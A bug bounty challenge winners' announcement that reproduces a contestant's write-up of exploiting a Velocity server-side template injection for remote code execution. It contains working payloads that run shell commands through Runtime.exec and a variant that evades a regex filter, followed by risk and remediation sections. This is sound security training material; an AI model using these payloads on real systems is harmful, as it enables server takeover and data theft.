DOJO Challenge #28 Winners!

November 14, 2023

Template injection challenge

The #28th DOJO CHALLENGE, Temple, aims to exploit a server-side template injection vulnerability and gain remote code execution on the target system.

💡 You want to create your own DOJO and publish it? Send us a message on Twitter!

WINNERS!

We are happy to announce the list of winners of the #28 DOJO Challenge!

3 BEST WRITE-UP REPORTS

  • The best write-ups reports were submitted by: Ap4sh, Arty06 and hugosec! Congrats 🥳

The swag is on its way! 🎁

Subscribe to our Twitter and/or Linkedin feeds to be notified of the upcoming challenges.

Read on to find out how one of the winners managed to solve the challenge.

The challenge

DOJO Challenge - Temple

We asked you to produce a qualified write-up report explaining the logic allowing such exploitation. This write-up serves two purposes:

  • Ensure no copy-paste would occur.
  • Determine the contestant ability to properly describe a vulnerability and its vectors inside a professionally redacted report. This capacity gives us invaluable hints on your own, unique, talent as a bug hunter.

BEST WRITE-UP REPORT

We want to thank everyone who participated and reported to the DOJO challenge. Among all the quality reports that were submitted, we have selected the three best reports! 😉

Thanks again for all your submissions and thanks for playing with us!

hugosec‘s Write-Up

————– START OF hugosec‘s REPORT ——————

Description

Template engines are generally used to generate content for websites, and this content is often based on user input in one way or another.
Server-side template injection (SSTI) is a vulnerability that occurs when this user input is not sanitized or in some way restricted, which enables an attacker to utilize the native template syntax to inject arbitrary template directives and malicious code into the template. The malicious code is then executed server-side.

Exploitation

Payload

In order to establish a payload that works for us in this case, I set up a separate environment with the SSTI Velocity backend and the same query as the challenge, but without the filter.
How SSTI generally tends to be exploited specifically in Velocity is through its "ClassTool" . By using this we can obtain references to arbitrary objects which in turn leads us to be able to execute arbitrary shell commands on the target system using Runtime.Exec().

By googling for payloads I found that there were several results that referenced the same payload (for example: Blackhat article and PortSwigger article, by James Kettle, Antgarcil article and Hacktricks article)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

What it does in short comes down to running the command whoami on the system and then a loop iterates over the available bytes in the command's output, converting each available byte into a character and adding it to a complete string which is then presented in the "template output".

I changed things around a little to make it easier for me to find and modify which command is to be run by creating the $command variable, as well as "tidying" up the output by ending with a comment:

#set($command="whoami")
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec($command))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read()))
#end
##

This resulted in:

Note the "0 r o o t" showcasing that our payload is working!

Filter Evasion

In this challenge, we have to run a payload that bypasses this regex filter: (#|\$|\${)[a-zA-Z]+. Any matches get replaced by 5earch0nGoogl3.
Here is a more graphical view of why this is problematic with our current payload:

Essentially all of our directives and variable references are getting a match and are thus replaced by the filter.
However, the Velocity engine native syntax has some functionalities which we can use to our advantage in order to evade the filter.

DIRECTIVES

Directives in Velocity (for example #set, #foreach, #end, etc) are "easy to use script elements that can be used to creatively manipulate the output of Java code" - Apache Velocity Engine - User Guide. Sometimes developers find themselves needing to use directives immediately followed by text. For example:

#if($a==1)true enough#elseno way!#end

In these cases it's possible to use brackets to separate the directive (#else) from the text (no way!). Like so:

#if($a==1)true enough#{else}no way!#end

QUIET REFERENCE NOTATION

When Velocity encounters an undefined reference, its normal behavior is to output the image of the reference. For example:

Note the $test in the output.

With Quiet Reference Notations you can make it so that if a reference is not found by Velocity, it instead returns no value. This is done by referencing with an exclamation mark like so: $!test. For example:

Note how the value of $!foo is displayed in the output, but $!test is not. This is because we declared the variable with #set($foo="hello world") and thus Velocity is able to find that reference.

PoC

With Quiet Reference Notation and the syntax possibilities for Directives in mind, we can modify our payload to hopefully be able to evade the filter:

Resulting in our (almost) final payload:

#{set}($!command="whoami")
#{set}($!str=$!class.inspect("java.lang.String").type)
#{set}($!chr=$!class.inspect("java.lang.Character").type)
#{set}($!ex=$!class.inspect("java.lang.Runtime").type.getRuntime().exec($!command))
$!ex.waitFor()
#{set}($!out=$!ex.getInputStream())
#{foreach}($!i in [1..$!out.available()])
$!str.valueOf($!chr.toChars($!out.read()))
#{end}
##

Before we deliver the payload, we'll add a final quality of life touch to it by removing the newlines, which will give us a better looking output. This due to the fact that the newlines are converted to spaces and then ends up in between the characters of our output.

#{set}($!command="whoami")#{set}($!str=$!class.inspect("java.lang.String").type)#{set}($!chr=$!class.inspect("java.lang.Character").type)#{set}($!ex=$!class.inspect("java.lang.Runtime").type.getRuntime().exec($!command))$!ex.waitFor()#{set}($!out=$!ex.getInputStream())#{foreach}($!i in [1..$!out.available()])$!str.valueOf($!chr.toChars($!out.read()))#{end}##

Risk

Given that we've got root access to a backend server, this poses several significant risks such as a pivot point for further lateral movement, unauthorized access to sensitive data, malware deployment and so on. This can in turn take a toll on the business's reputation, operations, customers as well as having regulatory consequences.

Remediation

Remediating the issue is of course dependent on business requirements. Some mitigating steps for server-side template injection that we can take are:

  • Don't allow users to modify or submit new templates.
  • Use a "logic-less" template engine. Separating the logic from the presentation as much as possible can reduce exposure to the most severe attacks.
  • If the execution of user code is a business requirement, only execute it in a sandboxed environment. You can also take additional measures by deploying the entire template environment in a sandbox.
  • Sanitize the user input before parsing it.
  • Pass user controlled parameters into the template as template parameters.

————– END OF hugosec‘s REPORT ——————